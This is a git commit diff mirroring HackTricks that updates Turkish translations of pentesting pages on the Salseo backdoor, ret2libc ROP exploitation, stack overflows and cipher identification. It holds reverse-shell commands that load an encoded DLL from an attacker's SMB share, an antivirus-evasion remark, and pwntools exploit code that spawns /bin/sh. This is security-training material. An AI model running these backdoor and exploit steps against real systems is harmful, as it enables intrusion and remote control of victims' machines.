mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu
This commit is contained in:
parent
8c7bd31839
commit
e5243b807f
@ -284,8 +284,10 @@
|
||||
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
|
||||
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
|
||||
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
|
||||
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
|
||||
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
- [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
@ -299,6 +301,7 @@
|
||||
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
|
||||
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
|
||||
- [Mythic](windows-hardening/mythic.md)
|
||||
|
||||
# 📱 Mobile Pentesting
|
||||
|
||||
|
||||
@ -6,21 +6,21 @@
|
||||
|
||||
Github'dan kaynak kodunu indirin ve **EvilSalsa** ile **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
|
||||
|
||||
Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, bu mimariler için derleyin).
|
||||
Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, o mimari için derleyin).
|
||||
|
||||
**Mimariyi seçebilirsiniz** Visual Studio'da **sol "Build" Sekmesi** içindeki **"Platform Target"** kısmında.
|
||||
|
||||
(\*\*Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\<Project Name> Properties"**'e tıklayın)
|
||||
(**Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\<Project Name> Properties"**'e tıklayın)
|
||||
|
||||
.png>)
|
||||
|
||||
Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlarda çalıştırılabilir dosyanın yolu görünecektir):
|
||||
Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlar içinde çalıştırılabilir dosyanın yolu görünecektir):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Arka Kapıyı Hazırlama
|
||||
|
||||
Öncelikle, **EvilSalsa.dll**'yi kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
|
||||
Öncelikle, **EvilSalsa.dll**'yı kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
@ -32,7 +32,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Tamam, şimdi Salseo işlemlerini gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.**
|
||||
Tamam, şimdi Salseo ile ilgili her şeyi gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.**
|
||||
|
||||
**SalseoLoader.exe binary'sini makineye yükle. Hiçbir antivirüs tarafından tespit edilmemelidir...**
|
||||
|
||||
@ -50,7 +50,7 @@ Ters shell dinleyicisi olarak bir nc başlatmayı ve kodlanmış evilsalsa'yı s
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **ICMP ters shell almak (şifrelenmiş dll zaten kurbanın içinde)**
|
||||
### **ICMP ters shell almak (kurbanın içinde kodlanmış dll zaten mevcut)**
|
||||
|
||||
**Bu sefer ters shell almak için istemcide özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
@ -61,7 +61,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### İstemciyi çalıştırın:
|
||||
#### İstemciyi çalıştır:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
@ -83,7 +83,7 @@ SalseoLoader projesini Visual Studio ile açın.
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencerede kabul edin)**
|
||||
#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencereyi kabul edin)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
@ -121,7 +121,7 @@ Sonra, **SalseoLoader klasörünüze** gidin ve **DllExport_Configure.bat**'ı
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Çözümü **derlemek için**: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
|
||||
Çözümü **derlemek** için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
|
||||
|
||||
### Üretilen Dll'yi test edin
|
||||
|
||||
@ -135,7 +135,7 @@ Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
|
||||
|
||||
## DLL kullanarak bir shell alın
|
||||
|
||||
Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın
|
||||
Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın.
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me))
|
||||
4. Kütüphane ile, **ROP'u hesapla ve istismar et**
|
||||
|
||||
## Pratik yapmak için diğer eğitimler ve ikili dosyalar
|
||||
## Pratik için diğer eğitimler ve ikili dosyalar
|
||||
|
||||
Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Diğer yararlı eğitimler: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
@ -42,7 +42,7 @@ rop-leaking-libc-template.md
|
||||
|
||||
## 1- Ofseti Bulma
|
||||
|
||||
Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, onu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`):
|
||||
Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, bunu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`):
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
@ -57,7 +57,7 @@ r.sendline(payload)
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset**'i al:
|
||||
**Çalıştır** `python template.py`, bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al:
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
@ -83,14 +83,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
`PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\
|
||||
`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\
|
||||
`MAIN_PLT`, bir etkileşimden sonra **overflow**'u **tekrar** **istismar** etmek için **main function**'ı tekrar çağırmak için gereklidir (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır**.\
|
||||
**POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir.
|
||||
|
||||
Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır.
|
||||
|
||||
## 3- libc kütüphanesini bulma
|
||||
|
||||
Artık hangi **libc** kütüphanesi sürümünün kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız.
|
||||
Artık hangi sürüm **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün bulunduğunu **arama** yapacağız.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
@ -124,16 +124,16 @@ Bunu yapmak için, yürütülen kodun en önemli satırı şudur:
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\
|
||||
Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\
|
||||
Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki **içeriği** **okuyacak** (**puts fonksiyonunun bellek içindeki adresi**) ve **bunu yazdıracaktır**.\
|
||||
Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydına kaydedilecektir. Bunun nedeni, **puts**'u **çağırmak** istememizdir ve ona `PUTS_GOT`'ın **adresini** geçiyoruz çünkü puts fonksiyonunun bellek adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\
|
||||
Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki içeriği (**puts fonksiyonunun bellek adresi**) **okuyacak** ve **yazdıracaktır**.\
|
||||
Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz.
|
||||
|
||||
Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **bellekte** **yazdırması** için **kandırdık** (bu, **libc** kütüphanesi içindedir). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**.
|
||||
Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesinde bulunan puts fonksiyonunun bellek adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**.
|
||||
|
||||
.png>)
|
||||
|
||||
**Yerel** bir ikiliyi **istismar ettiğimiz** için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bul).\
|
||||
Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım:
|
||||
**Yerel** bir ikiliyi **istismar** ettiğimiz için, hangi **libc** sürümünün kullanıldığını bulmamız **gerekmez** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bulmak yeterlidir).\
|
||||
Ancak, uzaktan bir istismar durumunda bunu nasıl bulabileceğinizi burada açıklayacağım:
|
||||
|
||||
### 3.1- libc sürümünü arama (1)
|
||||
|
||||
@ -183,11 +183,11 @@ gets
|
||||
```
|
||||
## 4- Bulunma temelli libc adresi ve istismar
|
||||
|
||||
Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
Bu noktada kullandığımız libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şuna değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın`
|
||||
|
||||
**libc kütüphanesine** **yol** vererek, geri kalan **istismar otomatik olarak hesaplanacak**.
|
||||
**libc kütüphanesine** **yolu** vererek, geri kalan **istismar otomatik olarak hesaplanacak**.
|
||||
|
||||
`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacak:
|
||||
```python
|
||||
@ -197,8 +197,8 @@ log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz.
|
||||
|
||||
Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesine** verilecektir.
|
||||
>
|
||||
> Ardından, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir.
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
@ -218,26 +218,26 @@ p.sendline(rop2)
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
Son ROP'u açıklayalım.\
|
||||
Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"** (_BINSH_) adresine işaret eden `POP_RDI`'yi çağırmak istiyoruz ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçecektir.\
|
||||
Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **addres** _"/bin/sh"_ (`BINSH`) işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçilecektir.\
|
||||
Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde çıkar** ve herhangi bir uyarı üretilmez.
|
||||
|
||||
**Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\*
|
||||
**Bu şekilde istismar bir _/bin/sh_ shell'i çalıştıracaktır.**
|
||||
|
||||
.png>)
|
||||
|
||||
## 4(2)- ONE_GADGET KULLANARAK
|
||||
|
||||
Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\
|
||||
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
|
||||
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca kaçınılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
|
||||
|
||||
.png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
## İSTİSMAR DOSYASI
|
||||
## EXPLOIT DOSYASI
|
||||
|
||||
Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir:
|
||||
Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
|
||||
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesilmesine ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
|
||||
|
||||
Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**.
|
||||
Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
|
||||
|
||||
Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.
|
||||
Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar, bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.
|
||||
|
||||
Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan miktardan büyükse, savunmasız bir şekilde kullanılabilir.
|
||||
Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir.
|
||||
|
||||
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
|
||||
```c
|
||||
@ -25,11 +25,11 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
|
||||
|
||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.**
|
||||
Ayrıca, Stack Overflow zafiyetinin bulunduğunu tespit ettikten sonra, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü** döngüsel bir dizidir.
|
||||
|
||||
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür.
|
||||
Bu şekilde, EIP'yi kontrol etmek için gereken ofseti elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
|
||||
|
||||
Bunun için **pwntools** kullanmak mümkündür:
|
||||
Bunun için **pwntools** kullanılabilir:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -48,24 +48,24 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Yığın Taşmalarını Sömürme
|
||||
## Stack Overflow'ların Sömürülmesi
|
||||
|
||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
|
||||
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının belirttiği yere yönlendirilecektir**.
|
||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **yerel değişkenlerin** değerlerini yığın içinde **EBP/RBP ve EIP/RIP'yi (veya daha fazlasını)** kaydedene kadar **üst üste yazma** işlemi yapabileceksiniz.\
|
||||
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
|
||||
|
||||
Ancak, diğer senaryolarda sadece yığın içindeki bazı değişkenlerin değerlerini **üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
|
||||
Ancak, diğer senaryolarda sadece **yığın içindeki bazı değişkenlerin değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
|
||||
|
||||
### Ret2win
|
||||
|
||||
Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
|
||||
Bu tür CTF zorluklarında, ikili dosya içinde **asla çağrılmayan** bir **fonksiyon** vardır ve **kazanmak için bu fonksiyonu çağırmanız gerekir**. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırılacak fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
{{#endref}}
|
||||
|
||||
### Yığın Shellcode
|
||||
### Yığın Shellcode'u
|
||||
|
||||
Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
|
||||
Bu senaryoda saldırgan, yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... teknikleri
|
||||
|
||||
Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılamaz yığın (NX)**. Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
|
||||
Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılabilir yığın yok (NX)**. Ve mevcut ikili dosyadaki talimatları istismar ederek rastgele komutlar çalıştırmayı sağlayan birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -89,7 +89,7 @@ Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de o
|
||||
|
||||
## Koruma Türleri
|
||||
|
||||
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
|
||||
Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Online Hashes DBs
|
||||
|
||||
- _**Google'la ara**_
|
||||
- _**Google'la arayın**_
|
||||
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
- [https://crackstation.net/](https://crackstation.net)
|
||||
@ -178,13 +178,13 @@ drnajapajrna
|
||||
|
||||
### A1Z26
|
||||
|
||||
Harfleri sayısal değerlerine dönüştürme
|
||||
Harflerin sayısal değeri
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin.
|
||||
Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevir.
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
@ -192,7 +192,7 @@ krodfdudfrod
|
||||
|
||||
**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\
|
||||
Örneğin: 2=A, 22=B, 222=C, 3=D...\
|
||||
Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz.
|
||||
Bu kodu tanıyabilirsiniz çünkü **birden fazla rakamın tekrarlandığını** göreceksiniz.
|
||||
|
||||
Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
@ -207,13 +207,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
|
||||

|
||||
|
||||
## Compression
|
||||
## Sıkıştırma
|
||||
|
||||
**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir.
|
||||
|
||||
## Easy Crypto
|
||||
## Kolay Kripto
|
||||
|
||||
### XOR - Autosolver
|
||||
### XOR - Otomatik Çözücü
|
||||
|
||||
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
## Encoders
|
||||
|
||||
Çoğu kodlanmış veri bu 2 kaynakla çözülebilir:
|
||||
